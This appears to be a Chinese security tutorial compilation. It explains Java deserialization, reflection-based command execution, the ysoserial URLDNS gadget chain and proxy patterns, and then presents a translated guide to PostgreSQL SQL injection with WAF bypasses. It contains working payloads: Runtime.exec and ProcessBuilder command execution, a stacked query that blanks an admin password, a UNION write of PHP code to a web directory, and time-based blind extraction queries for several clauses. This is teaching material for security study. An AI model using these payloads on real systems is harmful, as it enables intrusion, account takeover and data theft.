ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
System.out.println(person);
serialize(person);
}
}
/** 反序列化 **/
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("ser.bin");
System.out.println(person);
}
}
输出后可以发现在序列化之前输出对象person和在反序列化后输出都调用了`__toString`，成功构造了序列化和反序列化。
## **php和Java反序列化之间的区别**
在php的序列化和反序列化中提供了serialize和unserialize函数，可以直接将对象序列化为一串数据或直接将一串数据反序列化为一个对象，程序员在这个过程中是无法参与的，但在Java中，需要程序员自己来构建序列化和反序列化的过程，php在反序列化时会自动触发`__wakeup`函数，java在反序列化时会自动触发`readObject`方法，虽然都是在反序列化时触发，但二者之间有一些细微的差别。
php反序列化（对一个数据库链接对象反序列化）：
<?php
class Connection
{
protected $link;
private $dsn, $username, $password;
public function __construct($dsn, $username, $password)
{
$this->dsn = dsn;
$this->username = username;
$this->password = password;
$this->connect();
}
private function connect()
{
$this->link = new PDO($this->dsn, $this->username, $this->password);
}
}
如果我们直接输出序列化后的这个Connection类的对象，发现输出为null，那么在反序列化时也是null，因为在php中资源类型的对象默认不会写入序列化数据中。
如果我们将代码改成下面这样就可以在序列化后在`$link`中拿到一个数据库连接了：
<?php
class Connection
{
protected $link;
private $dsn, $username, $password;
public function __construct($dsn, $username, $password)
{
$this->dsn = dsn;
$this->username = username;
$this->password = password;
$this->connect();
}
private function connect()
{
$this->link = new PDO($this->dsn, $this->username, $this->password);
}
public function __sleep()
{
return array('dsn', 'username', 'password');
}
public function __wakeup()
{
$this->connect();
}
}
Connection的对象被反序列化后调用`__wakeup`，执行connect函数连接数据库，所以`__wakeup`的作用其实是反序列化后执行一些初始化操作，但在php中很少利用序列化数据传输资源类型的对象，而其他类型的对象在反序列化的时候已经把值写死了，所以php的反序列化漏洞中很少是由`__wakeup`这个方法触发的，通常触发在`__destruct`中。
Java反序列化：
import java.io.IOException;
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
Person(String name,int age)
{
this.name = name;
this.age = age;
}
private void writeObject(java.io.ObjectOutputStream s) throws IOException {
s.defaultWriteObject();
s.writeObject("This is a Object");
}
private void writeObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
String message = (String) s.readObject();
System.out.println(message);
}
}
在`writeObject`中，当传入的对象完成了从`ObjectOutputStream`中继承来的`defaultWriteObject`后，向流内写入了一个"This
is a
Object"，因此会在序列化后触发改方法，将字符串写入输出流的对象中，用知识星球里提到的工具SerializationDumper可以看到这个字符串被写到了objectAnnotation位置，在反序列化还原对象时就会将这个字符串输出。
反序列化的过程是根据开发者的想法来实现的，所以总结一下`__wakeup`和`readObject`的不同就是：`readObject`倾向于解决"反序列化时如何还原一个完整对象"这个问题，而PHP的`__wakeup`更倾向于解决反序列化后如何初始化这个对象的问题。
# 反射+URLDNS
# **Java反射篇**
如果我们有一个类，那么我们可以通过实例化该类的对象并调用其中的方法，或者我们也可以直接调用该类中的静态方法，这是我们在一般情况下调用一个方法时的过程，但是在不同的语言中也有不同的方法可以拿到某一个类中的所有内容，在java中我们可以通过“反射”来拿到某一个类中的具体内容
如果把通过new对象并且调用其中的方法的过程叫做“正射”，那么不使用new来创建对象并调用其中方法的过程就叫做“反射”
## **反射常用到的方法**
在java的lang包中有一个静态Class类
在java程序运行并编译加载一个类时，java.lang.Class就会实例化出一个对象，这个对象储存该类的所有信息
因此我们可以通过一些方法来获取到这个类的信息 先了解一些方法
* `Class.forName(classname)` 获取classname类中的所有属性包括类名 比如`Class clazz = Class.forName("java.lang.Runtime");`
那么类clazz中就得到了java.lang.Runtime中的所有属性
* `Class.newInstance()`实例化对象，并触发该类的构造方法 下面会详细解释
* `Class.getMethod(method name,arg)` 获取一个对象中的public方法，由于java支持方法的重载，所以需要第二参数作为获取的方法的形参列表，这样就可以确定获取的是哪一个方法
* `Method.invoke`() 执行方法，如果是一个普通方法，则invoke的第一个参数为该方法所在的对象，如果是静态方法则第一个参数是null或者该方法所在的类 第二个参数为要执行方法的参数
`forName`并不是唯一获取一个类的方式，其他方式还有：
* obj.getClass() 如果上下文中存在某个类的实例obj，那我们可以直接通过obj.getClass来获取它的类
* Y1.class 如果已经加载了一个类Y1，只是想获取到它由java.lang.class所创造的对象，那么就直接使用这种方法获取即可，这种方法并不属于反射
* Class.Forname 如果知道某个类的名字，想获取到这个类，就可以使用forName来获取
### **关于forname**
默认情况下 `forName`的第一个参数是类名，第二个参数表示是否初始化，第三个参数就是ClassLoader
ClassLoader是一个“加载器”，告诉java虚拟机如何加载这个类，java默认的ClassLoader就是根据类名加载类，这个类名必须是完整路径，比如上面提到的java.lang.Runtime
第二个参数`initialize`用于forname时的初始化，一般我们会认为初始化就是加载类的构造函数，其实并不是，这里提到的初始化有以下过程：
看下面这个类：
class TrainPrint{
{
System.out.printf("Empty block inittial &s\\n", this.getClass());
}
static{
System.out.printf("Static initial %s\\n", TrainPrint.class);
}
public TrainPrint(){
System.out.printf("Innitial %s\\n", this.getClass());
}
}
这个类中一共有三个代码块 ，在进行初始化时按照以下优先级调用代码块
1. static{}
2. {}
3. 构造函数
其中，static{}就是在“类初始化”时调用的，而{}中的代码会放在构造函数的`super()`后面，但在当前构造函数内容的前面
所以`forNmae`中的`initialize=true`其实就是告诉jvm是否执行“类初始化”
那么 如果有以下方法 其中的参数name可控：
public void ref(String name) throws Exception {
Class.forName(name);
}
我们就可以编写一个恶意类，将恶意代码放置在`static{}`中，从而执行：
class PayLoad{
static{
try{
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/etc/passwd"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e){
}
}
}
## **如何通过反射执行命令**
我们刚才提到，如果想拿到一个类，需要先import才能使用，而使用forname就不需要了，这样我们就可以利用forname加载任意类。
在java中是支持内部类的，比如我们在普通类
c1中编写内部类c2，在编译时会生成两个文件：c1.class和c1$c2.class，这两个类之间可以看作没有关联，通过`Class.forname("c1$c2")`即可加载这个内部类，当fastjson在`checkAutotype`时就会先讲$替换成`.`
上面说到的`$`的作用时查找内部类。
当我们通过反射获取到一个类之后，可以继续通过反射来调用其中的属性和方法，也可以继续实例化这个类，调用其中的方法，也就是用`newInstance()`
上面提到过newInstance会实例化类，并且触发它的构造方法，所以在一些情况下newInstance是不能成功执行的，比如
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",String.class).invoke(clazz.newInstance(), "id");
我们分析上面两行代码，首先通过反射将`java.lang.Runtime`中的所有属性和方法存到了clazz中，继续利用反射拿到clazz（Runtime）中的`exec`方法，最后使用invoke执行该方法，问题就出在乐invoke的参数上。
我们上面提到了invoke执行方法，第一个参数是该方法所在的对象或者类，也就是说我们需要通过`clazz.newInstance`来实例化clazz，作为invoke的参数，但clazz的构造函数来自于Runtime，我们看一下Runtime的构造函数
Runtime的构造方法为私有，所以在newInstance时才会报错。
这里P神的 **java安全漫谈** 里说明了为什么要将构造方法设为私有，这就是很常见的“单例模式”。
比如对于web应用来说，数据库只需要建立一次链接，而不是每次用到数据库都要建立一次新的连接，作为开发者就可以将数据库连接使用的构造函数设为私有，然后编写一个静态方法来获取：
public class TrainDB() {
private static TrainDB instance = new TrainDB();
public static TrainDB getInstance() {
return instance;
}
private TrainDB() {
// 建立连接的代码
}
}
在这个类初始化时，就会在类内部实例化出一个连接数据库的对象，我们在需要数据库连接时，只需要调用其中的`getInstance()`方法获取这个对象即可。
回到如何执行命令上，如果不能通过实例化调用方法，我们就可以尝试继续通过反射来调用方法，我们将代码改成下面这样就可以了：
Class clazz = Class.forname("java.lang.Runtime");
clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"calc.exe");
我们在刚开始执行命令时就用到了Runtime来获取其中的`exec`方法，不难看出它和python的os类似，给我们提供了一些可以执行命令的方法，那么Runtime到底有什么作用？
每当我们执行一个java程序时，Runtime类都会生成一个实例，来储存当前运行的java程序的相关信息，我们可以通过Runtime类中的`getRuntime()`方法来调用当前java程序的运行环境（也就是上面提到的储存相关信息的实例），这样就可以在执行系统命令时让jvm知道我们要对哪个java程序执行命令
我们分析以下上面执行命令的两行代码
* 通过反射获得Runtime类
* 通过反射获得clazz(Runtime)中的`exec`方法
* `invoke()`调用exec方法
* 调用`getRuntime()`将当前java程序运行的环境作为参数传递给invoke，并执行命令`exec "calc.exe"`
可以发现我们在用invoke执行Runtime中的命令时，如果不能通过`newInstance`来实例化对象作为参数，我们可以通过调用`getRuntime()`来获取当前环境，从而代替invoke的第一个参数。
上面执行命令的两行代码分解开就是：
Class clazz = Class.forname("java.lang.Runtime");
Method execMethod = clazz.getMethod("exec", String.class);
Method getRuntime = clazz.getMethod("getRuntime")；
Object currentRuntime = getRuntime.invoke(clazz);
execMethod.invoke(currentRuntime, "calc.exe");
## **一些其他的反射机制**
* 我们刚才说到可以通过forname拿到了一个类，并且继续利用反射或实例化调用其中的方法，如果一个类没有无参构造方法或者也没有类似单例模式里的静态方法，那我们应该怎样通过反射实例化该类呢？
* 如果一个方法或构造方法是私有方法，我们应该怎么去执行它呢？
### **利用`ProcessBuilder`执行命令**
第一个问题，我们可以用一个新的反射方法`getConstructor`。
和getMethod类似，`getConstructor`接收的参数是构造函数的的列表类型，因为构造函数也支持重载，所以要用参数列表类型才能唯一确定一个构造函数
比如我们常用的另一种执行命令的方式ProcessBuilder，我们使用反射来获取其构造函数，然后 调用`start()`来执行命令
**ProcessBuilder:**
ProcessBuilder用于创建操作系统进程，它提供一种启动和管理进程（也就是应用程序）的方法，我们可以通过实例化这个类并且通过反射调用其中的start方法来开启一个子进程
，我们可以理解成当`getRuntime`被禁用时，可以用`ProcessBuilder`来执行命令。
`ProcessBuilder`有两个构造函数：
* `public ProcessBuilder(List<String> command)`
* `public ProcessBuilder(String... commang)`
我们用`ProcessBuilder`写一个执行命令的payload：
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start();
1. 首先利用反射获取`ProcessBuilder`类；
2. 获取clazz(ProcessBuilder)形参列表为`List<String> command`的构造函数；
3. 将获取到的构造函数利用newInstance进行实例化，调用构造函数；
4. 对构造函数传入的参数为 `calc.exe`，并且用`Arrays.asList`方法将要执行的命令转为List类型；
5. 返回List类型的`command`；
1. 将List类型的command强制转换为`ProcessBuilder`类型，这样就可以调用`ProcessBuilder`中的start方法打开`calc.exe`进程。
可以看到这个方法需要用到强转，但有时候在利用漏洞时并没有这种语法，所以我们接着利用反射来完成这一步
```
Class clazz = Class.forName("java.lang.ProcessBuilder"); clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));
```
1. forName获取类；
2. 获取clazz中的`start`方法；
3. 用invoke执行start方法，这里我们之前说过用invoke执行方法时，第一个参数要是该方法所在类的对象，但clazz中没有无参构造方法，所以invoke的第一个参数不能是`clazz.newInstance`，所以这里我们换个方法，通过`getConstructor`获取到`ProcessBuilder`的构造函数，并利用这个构造函数`newInstance`，在实例化的同时对构造方法传入参数`calc.exe`，因为我们刚才提到了`ProcessBuilder`是没有无参构造函数的，所以在实例化的时候必须要传入参数。（这里获取的构造方法依然是上面提到的形参列表为List的构造函数）
那么我们再来看`ProcessBuilder`的另一个构造方法：
我们看到这个构造方法的参数列表为`String... command`，这个参数列表的意思其实就是参数数量可变列表，当我们在写一个方法时，不知道要传入多少参数，我们就可以写成`Type... Args`的方式，其实在底层来看`String... command`这样的写法就等效于`String[] command`，相当于传入了一个字符数组
比如有一个hello方法：
```
public void hello(String...names){}
```
如果我们有一个数组想传给y1方法，只需要直接传就行：
```
String[] names = {"hello", "world"};
hello(names)
```
所以如果我们想要获取到参数列表为`String... command` 的这个构造方法，我们在`getConstructor`时要传入的参数为`String[].class`，在调用newInstance时，因为这个构造方法本身接受的就是一个可变长数组，我们在传入时也传入了一个数组，因此叠加起来是一个二维数组，所以利用这个构造方法的payload如下：
```
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new String[]{{"calc.exe"}})).start();
```
1. 反射拿到类；
2. `getConstructor`拿到参数列表为`String... command`的构造方法；
3. `newInstance`触发该构造方法，并且传入一个二维字符数组；
4. 由于返回的command是字符数组类型，所以强转为`ProcessBuilder`并用`start()`方法触发；
### 如何通过反射执行私有方法
再回到第二个问题上，如果一个方法或构造方法是private，我们是否能执行它呢？
这里就要用到`getDeclared`系列的反射了，与普通的`getMethod，getConstructor`区别是：
* `getMethod`系列方法获取的是当前类中所有公共方法，包括从父类继承的方法；
* `getDeclaredMethod`系列方法获取的是当前类中“声明”的方法，是实写在这个类里的，包括私有的方法，但从父类里继承来的就不包含了
在用法上`getDeclaredMethod`的具体用法与`getMethod`类似，`getDeclaredConstructor`的具体用法和`getConstructor`类似
举个例子，我们之前提到过Runtime的构造方法是私有的，所以我们要通过`Runtime.getRuntime()`来获取对象，其实我们也可以直接用`getDeclaredConstructor`来获取这个私有的构造方法实例化对象，进而执行命令：
Class clazz = Class.forName("java.lang.Runtime");
Constructor m =clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod("exec",String.class).invoke(m.newInstance(), "calc.exe");
这里我们在获取到私有方法后，要用`setAccessible()`方法使这个私有方法可以被访问，其他的就和之前介绍的反射一样了，如果不用`setAccessible()`方法修改作用域这个方法是仍然不能调用的
————————————————————————————————————————————
## **ysoserial**
在上手java反序列化的第一条链子之前，我们需要一个集成了java反序列化各种gadget
chains（利用链）的工具，[ysoserial](https://github.com/frohoff/ysoserial)。
ysoserial下载好后还需要再安装一些其他的依赖，教程网上有很多，我就不细说了，我们先简单了解一下ysoserial中一些比较重要的东西。
首先是序列化（Serialize）：
这个序列化操作和我之前提到的基本是一样的，将一个对象以字节流的形式输出并保存，并触发它的writeObject。
反序列化（Unserialize 再ysoserial中叫Deserialize）：
将一个字节流读入还原为对象并触发它的readObject。
Payloadrunner：
可以看到在Payloadrunner中，先将对象序列化再反序列化，其实就是用来运行我们的链，并生成相应的payload，具体执行命令（用cc链举例）：
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "id"
如果我们直接再intellij中运行这些链，不会出现payload，并且要注意一个问题，在java反序列化中几乎我们反序列化执行命令的结果是没有回显的，所以我们需要用一些比较明显的命令让我们知道这个链子被成功触发了，在ysoserial中我们一般用计算器`calc.exe`，一般来说ysoserial安装好后payload默认的参数是`calc.exe`，如果不是的话就要自己手动设置默认参数了，具体的我就不多说了。
## **URLDNS**
那么我们来上手java反序列化的第一条链子，`URLDNS`，这条链子的利用链很短，我们看一下ysoserial中的代码：
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
一点点分析一下，首先从URL的创建开始：
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
* 先是用`URLStreamHandler`c创建了一个句柄，这个句柄可以打开一个指定的url。
* 创建一个哈希表，并将url对象u作为key存入到了哈希表中。
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
* 这里将url对象u的hashCode设置成了-1，为什么要这么做我们一会在分析具体的触发过程时会提到。
* 返回了哈希表对象ht，并用PayloadRunner运行该利用链。
这段代码就干了这些事，那么是怎么触发反序列化的呢，我们之前提到过在反序列化时会触发readObject，那么我们直接去看Hashmap的readObject方法：
最重要的一行就是最后的`putValue`，里面计算了哈希表的键名。我们跟一下`putValue`方法，发现利用hash方法计算了哈希表的key。
我们再继续跟进hash方法，发现这里调用了哈希表key的hashcode方法，我们回到刚才创建哈希表时，是把url对象存入到了key中，所以我们直接去找`java.net.URL`的`hashCode`方法。
如果hashCode值不为-1，那么就会return，这个就是我们前面提到要将hashCode的值设置为-1的原因。
我们继续跟，handler此时是一个`URLStreamHandler`对象，继续跟进它的hashCode方法。
这里调用了getHostAddress方法，继续跟。
到这里可以看到`InetAddress.getByName(host)`的作用是根据主机名，获取其ip地址，在网络上就是一次DNS查询，我们可以通过burp的`Collaborator
client`来看到这次url请求。
# 代理模式
在Spirng中，AOP的底层实现就是代理模式，代理模式分为两种：
* 静态代理
* 动态代理
## 什么是代理？
我们用一个租房的例子来说明，按照正常的逻辑来讲，房东想要将自己的房子出租，并且此时有一个租客想租这个房子，那么租客就可以直接找到房东完成租房子这件事：
但是现在房东不想处理一些在租房过程中需要进行的繁琐步骤，比如打广告啊，和租客议价等等，所以这时候出现了一个新角色，叫做中介，那么此时房东所做的事只有出租自己的房子，其他事项全部交由中介来做，所以这个时候租客如果想租房子是不能直接找到房东的，必须在中间经由中介，中介来完成大部分事宜，并且在此时中介与房东共同完成租房这件事：
## 静态代理
角色分析：
* 抽象角色（租房这件事）：一般会使用抽象类或者接口来解决
* 真实角色（房东）：被代理的角色
* 代理角色（中介）：代理真实角色，代理真实角色后，我们一般会做一些附属操作
* 客户（租客）：访问代理对象的人
代码实现：
租房 Rent接口：
package com.y1zh3e7.demo01;
public interface Rent {
public void rent();
}
房东 Host类：
package com.y1zh3e7.demo01;
public class Host implements Rent{
public void rent()
{
System.out.println("房东要出租房子");
}
}
中介 Proxy类：
package com.y1zh3e7.demo01;
public class Proxy implements Rent{
private Host host;
public Proxy() {
}
public Proxy(Host host) {
this.host = host;
}
public void rent(){
host.rent();
seeHouse();
getFare();
};
public void seeHouse()
{
System.out.println("中介带你看房");
}
public void getFare()
{
System.out.println("中介收中介费了");
}
}
租客 Client类：
package com.y1zh3e7.demo01;
public class Client {
public static void main(String[] args) {
Host host = new Host();
Proxy proxy = new Proxy(host);
}
}
可以发现房东只专注实现了租房这件事，而中介不仅帮房东实现了租房，而且自己也添加了格外的功能，比如看房收中介费等等。
代理模式的好处：
* 可以时真是角色的目的更加纯粹，不用去关注一些公共的业务
* 公共业务交给代理角色，实现了业务的分工
* 公共业务发生扩展时，便于集中管理
缺点：
* 一个真实角色就会产生一个代理角色，代码量翻倍，开发效率变低
## 动态代理
* 动态代理和静态代理角色一样
* 动态代理的代理类是自动生成的，不是我们直接写好的
* 动态代理分为三大类：
* 基于接口的动态代理——JDK的动态代理
* 基于类的动态代理——cglib
* java字节码实现——Javassist
动态代理需要了解两个类：Proxy：代理，InvocationHandler：调用处理程序
整个动态代理大概流程如下：
* Proxy.newProxyInstance 生成一个动态代理对象proxy，并且告诉这个proxy要代理哪个接口，这里注意此时必须要是接口才行，动态代理是无法代理一个类的，因此当动态代理接收到一个类时要转为该类所继承的接口。
* 客户调用被代理对象的某一方法，此时java会将访问代理对象这个请求转发给动态代理对象proxy，并且在proxy的invoke中实现该方法
### 代码实现：
Rent接口 被代理对象和proxy对象共同实现的接口：
package com.y1zh3e7.demo03;
public interface Rent {
public void rent();
}
Host 被代理对象:
package com.y1zh3e7.demo03;
public class Host implements Rent {
public void rent()
{
System.out.println("房东要出租房子");
}
}
动态代理工具类 ProxyInvocationHandler：
package com.y1zh3e7.demo03;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class ProxyInvocationHandler implements InvocationHandler {
private Rent rent;
// 使用动态代理时通过setter传入要被代理的对象
public void setRent(Rent rent) {
this.rent = rent;
}
// 通过getProxy方法获得一个动态代理实例
public Object getProxy()
{
// 通过Proxy.newProxyInstance初始化一个动态代理对象出来 三个参数基本上只有第二个是变化的，为被代理的接口，其他两个参数可以像这里一样写死
return Proxy.newProxyInstance(this.getClass().getClassLoader(), rent.getClass().getInterfaces(), this);
}
@Override
// 当调用一个被代理对象的方法时，会在此处执行，invoke内可以自己构造如何执行该方法，从而达到了扩展方法功能的目的
// 三个参数分别为 代理对象 代理对象被调用的方法 调用该方法的参数
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Object result = method.invoke(rent,args);
return result;
}
}
Client
package com.y1zh3e7.demo03;
public class Client {
public static void main(String[] args) {
Host host = new Host();
ProxyInvocationHandler pih = new ProxyInvocationHandler();
pih.setRent(host); // 将要代理的对象设置为host
Rent proxy = (Rent) pih.getProxy(); // 拿到被代理接口的代理对象
proxy.rent(); // 调用该方法后会将这个方法传给代理对象中的invoke方法来执行
}
} | 社区文章 |
# SQL注入渗透PostgreSQL(bypass tricks)
这篇文章主要围绕使用Postgres DMBS对应用程序中的SQL注入漏洞进行一般分析，利用和发现。
我们将研究Web应用程序防火墙的绕过方法，以及在不同的查询子句中泄漏数据的方法，例如SELECT，WHERE，ORDER BY，FROM等。
简要概述一下，PostgreSQL是：
> _[…] a free and open-source relational database management system
> emphasizing extensibility and technical standards compliance. It is designed
> to handle a range of workloads, from single machines to data warehouses or
> Web services with many concurrent users. - Wikipedia_
**免责声明** ：所有这些绕过和技术点试均已在PostgreSQL版本12.2和仅12.2上进行了测试
## 绕过方法
由于DBMS大部分都使用通用语言（SQL），因此基本功能和语法实际上是通用的。这意味着在DBMS上的绕过技巧可能会应用在不同的数据库中。例如,当SQL注入中的空格被waf时，您可以改用注释，例如：
查询： `SELECT 1;` 绕过： `SELECT/**/1;`
上面的示例在MySQL和PostgreSQL(本文围绕的DBMS数据库类型)中正常使用。
## 绕过分隔符
如上所示： `/**/` == `" "`（不带引号，空格）
## 注入点后绕过多余的尾随数据
`; -- -`告诉查询忽略所有尾随数据，例如：`SELECT 'admin' OR 1 = 1; -- -' FROM users;`将变成`SELECT
'admin' OR 1 = 1;`
## 绕过引号的限制(*)
使用`$`符号: `SELECT $$test$$;`与`SELECT 'test';`
如果连续的美元符号被阻止（`$$`），那么您也可以在postgreSQL中使用标签，方法是将标签名称放在`$`符号之间： `SELECT
$quote$test$quote$;`与`SELECT 'test';`
同时我们也可以在字符串拼接的时候采取CHR()函数:
`SELECT
CHR(65)||CHR(66)||CHR(67)||CHR(68)||CHR(69)||CHR(70)||CHR(71)||CHR(72);`等效于`SELECT
'ABCDEFGH';`
**注意：** 您不能同时使用`'`和`$$`
`$quote$`，因此，如果您需要转义以单引号开头的字符串，则将无法使用`$$`(即这种语句是无效的SELECT 'test$$;)
## 嵌套查询
PS.类似堆叠查询
有时，您很幸运得发现您的SQL注入点支持嵌套查询。这使您可以完全控制数据库执行什么操作（只要没有某种Web应用程序防火墙或过滤器）。
嵌套查询可以终止易受SQL注入攻击的查询，然后启动一个全新的查询（支持任何类型)。
例如： `SELECT [INJECTION POINT] FROM users;` 然后可以变成： `SELECT ''; UPDATE users
SET password = '' WHERE name = 'admin'; -- -' FROM users;` 数据库会将其理解为:
`SELECT ''; UPDATE users SET password = '' WHERE name =
'admin';`这将会把用户表中管理员的密码设置为空且不会有任何的回显(请注意，如果应用程序之前对密码进行了哈希处理，则将管理员密码设置为空白将其插入数据库后，您将无法登录)
最终有效载荷为： `'; UPDATE users SET password = '' WHERE name = 'admin'; -- -`
**为了深入分析以下负载，我们假定不允许嵌套查询。**
## 不同子句的攻击方式
本节将假设不允许使用嵌套查询，并将演示一些其他可能提高严重性或通过blind注入和回显注入泄露数据的方法。
### SELECT / UNION
如果您的注入点位于SELECT或UNION子句中，那么您很幸运。毫无疑问，这是最容易利用的"子句"，因为"
SELECT"子句的调用较早，这意味着您可以自行构建大部分SQL查询,从而为您提供几乎完全的灵活性。至于UNION子句，它可能是大多数有关如何在线利用的有效文档的子句之一。这意味着您很可能能够找到适合您的有效负载。
#### SELECT
我所说的"子句被较早调用"是指它通常是结构化语句中第一个被调用的子句，并且注入点通常是尽可能地从头开始。我们可以滥用它来基本上进行我们自己的查询。
例如（从"[INJECTION POINT]"开始我们可以控制任何东西）： `SELECT '[INJECTION POINT]';`
用法 | 完整查询 | 载荷
---|---|---
追加数据到输出 | `SELECT '1' UNION SELECT 'a'; – -'` | `1' UNION SELECT 'a'; – -`
通过PHP代码RCE | `SELECT ''UNION SELECT 'MALICIOUS PHP CODE' \g /var/www/test.php;
– -';` | `'UNION SELECT 'MALICIOUS PHP CODE' \g /var/www/test.php; – -`
时间盲注泄露字符 | `SELECT '' | | pg_sleep((ASCII((SELECT 'a' LIMIT 1)) - 32) / 2); –
-';` | `' | | pg_sleep((ASCII((SELECT'a'LIMIT 1))-32)/2); – –`
#### UNION
除了数据应附加到输出末尾而不是清除输出,上一节的规则同样适用。
在这两种情况下，一个非常有用的运算符是连接运算符（||），因为它可用于将数据附加到同一行的输出中。
例如： `SELECT ''||password FROM users; -- -';`将从用户表中返回密码列。
### WHERE
WHERE子句用于指定条件，以便DBMS对您要查找的内容有更清晰的了解。查询示例为：
`SELECT * FROM users WHERE name = 'admin';`
知道了这一点，并且事实上该子句在大部分时间也都出现在查询的早期，我们可以完成where子句，然后使用如上所示的UNION有效负载来进一步利用它，或者直接使用WHERE条件过滤数据。例如：
SELECT first_name FROM actor WHERE first_name = 'Gus';
能够变成:
`SELECT first_name FROM actor WHERE first_name = ''||(SELECT 'Penelope'); ---';`
(ps.效果如上)
现在我们有了字符串的串联(通过||来串联字符),我们可以使用COUNT() 和 CASE WHEN将其转换为二进制查询。
这是我开发的有效负载，它利用了这样的思想：我们知道要用原始WHERE子句查询的表中的至少一个值。
SELECT first_name FROM actor WHERE first_name = ''||(SELECT CASE WHEN (SELECT COUNT((SELECT username FROM staff WHERE username SIMILAR TO '[BRUTEFORCE BYTE BY BYTE]%')))<>0 THEN 'Penelope' ELSE '' END);
现在，根据密码是否以我们要强行使用的字节开头(BRUTEFORCE BYTE BY BYTE)，它将返回查询`SELECT first_name FROM
actor WHERE first_name = 'Penelope';`的输出，否则输出`SELECT first_name FROM actor
WHERE first_name = '';`的查询结果
然后，我们可以使用此信息泄露在数据库的其他表的全部字符串。
### FROM
FROM子句用于确定我们从数据库的哪个部分中选择信息，通常是在将参数传递给SELECT子句之后。
对于此SQL注入，我们可以依赖基于可信时间盲注，除了将它作为表之外，我们需要为其命名。可以使用postgreSQL中的“ AS”子句来完成。
一个例子是： `SELECT address FROM (SELECT * FROM address WHERE
address=''||(pg_sleep(20))) ss;`
我们可以使用它纯粹通过FROM子句窃取数据，如下所示：
(SELECT * FROM address WHERE address=''||(SELECT CASE WHEN (SELECT COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%')))<>0 THEN pg_sleep(20) ELSE '' END)) ss; -- -
根据`SELECT username FROM staff WHERE username SIMILAR TO
'M%'`返回的内容与否，它会休眠20秒，或者什么也不做。可以逐字节fuzz数据。
最终查询payload如下:
SELECT address FROM (SELECT * FROM address WHERE address=''||(SELECT CASE WHEN (SELECT COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%')))<>0 THEN pg_sleep(20) ELSE '' END)) ss; -- -;
### ORDER BY
仅在ORDER BY子句中窃取数据时，涉及条件就会相当复杂。我找到了该子句的两个有效参数（true和 false）-> `order by true or
order by false`，然后嵌套了SELECT和CASE
WHEN语句，直到我可以将"如果此表的密码字段以某个字节开头，然后睡眠20秒"转换为"true或false"
`(SELECT CASE WHEN COUNT((SELECT (SELECT CASE WHEN COUNT((SELECT username FROM
staff WHERE username SIMILAR TO 'M%'))<>0 THEN pg_sleep(20) ELSE '' END)))<>0
THEN true ELSE false END); -- -`
为了进一步细分它，在一个完整的合法查询中，它看起来类似:
SELECT address FROM address ORDER BY (
SELECT CASE WHEN COUNT((
SELECT (
SELECT CASE WHEN COUNT((
SELECT username FROM staff WHERE username SIMILAR TO 'M%'))
<>0 THEN pg_sleep(20) ELSE '' END)
))
<>0 THEN true ELSE false END); -- -
下面将对该查询的过程进行尝试性的解释:
1. 如果第一个COUNT函数没有返回零，那么对于ORDER BY，我们得到最终的true或false。
2. 正确或错误取决于内部选择(第二个查询是核心判断的)。
3. 内部选择将休眠20秒，或者什么也不返回。
4. 这取决于人员表中用户的首字母是否以M开头（这是`SELECT username FROM staff WHERE username SIMILAR TO 'M%'`部分）。
### OFFSET
此子句允许您仅检索由其余查询生成的一部分行。OFFSET将从输出的行的开头删除分配给它的行数，而LIMIT则从末尾删除它们。
如果在返回大量数据的某种东西中发现了这种SQL注入，则可以使用从输出开头删除的行数来确定字符串的长度，甚至可以通过将字符转换为ASCII码来确定字符的长度。
